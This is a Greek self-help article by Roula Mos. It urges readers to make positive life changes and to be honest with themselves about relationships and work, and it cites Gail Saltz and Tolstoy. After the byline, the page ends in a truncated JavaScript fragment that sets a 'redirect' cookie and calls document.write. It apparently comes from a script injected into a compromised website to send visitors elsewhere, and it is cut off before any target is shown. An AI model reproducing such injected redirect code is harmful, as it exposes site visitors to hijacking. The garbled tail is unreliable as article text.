Αλλαγή στη ζωή μας

Κάθε άνθρωπος είναι μοναδικός και ξεχωριστός αλλά όλοι μας έχουμε ένα κοινό σημείο. Την καθημερινή αντιμετώπιση προβλημάτων γύρω μας, είτε αυτό αφορά τις σχέσεις μας με τους άλλους, είτε τα συναισθήματά μας, τις σκέψεις μας, τη δουλειά μας, τον ίδιο μας τον εαυτό. Κάποιοι συμβιβάζονται με τις ψυχολογικές δυσκολίες στη ζωή τους ευελπιστώντας ότι κάποια μέρα τα πράγματα θ’ αλλάξουν από μόνα τους, ίσως με μαγικό τρόπο. Άλλοι όμως τολμούν και αλλάζουν, βρίσκοντας την απαραίτητη δύναμη και διάθεση και αποκτώντας τις περισσότερες φορές τελικά την χαρά μέσα τους, την αρμονία στις σχέσεις τους και την ψυχική τους ικανοποίηση.

Το μόνο που χρειάζεται είναι να το θελήσετε, να το βάλετε στόχο και να το προσπαθήσετε. Με άλλα λόγια λέμε να προσφέρετε αυτήν την ευκαιρία στον εαυτό σας!

Και μιας και η περίοδος το επιτρέπει, τώρα είναι και μία καλή ευκαιρία. Το καλοκαίρι όλοι μας νιώθουμε καλύτερα. Έχουμε πιο ευχάριστη διάθεση! «Οι πιο ευτυχισμένες γυναίκες που γνωρίζω είναι ευπροσάρμοστες και ανοιχτές στις αλλαγές» λέει η Γκέιλ Σαλτζ, M.D., καθηγήτρια Ψυχιατρικής και συγγραφέας του βιβλίου Anatomy of a Secret Life. Το καλοκαίρι ενδείκνυται για θετικές αλλαγές. Μπορείτε να ξεκινήσετε με πολύ απλά και όμορφα πράγματα που έχετε τη διάθεση να κάνετε και σιγά σιγά να ανακαλύπτετε τον εαυτό σας και όλες τις θετικές πτυχές του που ίσως να κρατούσατε τόσο καιρό καλά φυλακισμένες μέσα σας. Και μην ξεχνάτε ότι τα πάντα ξεκινάνε από μέσα μας. Οι περισσότεροι άνθρωποι ξέρουμε τι πρέπει να κάνουμε, αλλά δεν έχουμε τη δύναμη να το κάνουμε.

Ας τα βρούμε τελικά σιγά σιγά με τον εαυτό μας και να είμαστε ειλικρινής με αυτόν. «Μήπως παραμένω σε αυτή τη σχέση για να μην απογοητεύσω τον άλλο δίπλα μου ή επειδή νιώθω ανασφαλής στο να φύγω μήπως και μείνω μόνη/μόνος μου;, μήπως πολλές φορές παρασύρομαι από τους άλλους και δεν εκτιμώ τον δικό μου άνθρωπο με αποτέλεσμα να αλλάζω συμπεριφορά και στάση απέναντί του χωρίς να πρέπει; μήπως κάθομαι σε αυτή τη δουλειά διότι και πάλι φοβάμαι να αλλάξω; ». Ας προσπαθήσουμε ώριμα και σωστά να μιλάμε και να είμαστε ειλικρινής με τον εαυτό μας, και σίγουρα μόνο να κερδίσουμε έχουμε από αυτό!  Ξεχάστε τους παρορμητισμούς και τις επιπόλαιες κινήσεις. Λάθη έχουμε κάνει όλοι μας, σκοπός είναι να μαθαίνουμε από αυτά και να μας γίνονται εμπειρίες ζωής και μαθήματα που μας βοηθάνε να προχωράμε μπροστά και να χειριζόμαστε καταστάσεις σωστά, υπεύθυνα και με θετικό τρόπο. Και άλλωστε μη ξεχνάτε ότι όλοι οι άνθρωποι δεν είναι δημιουργημένοι για τον ίδιο προορισμό!

«Όλοι σκέφτονται ν’ αλλάξουν τον κόσμο, αλλά κανείς δε σκέφτεται ν’ αλλάξει τον εαυτό του» Τολστόι

-Ρούλα Μος-
)/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘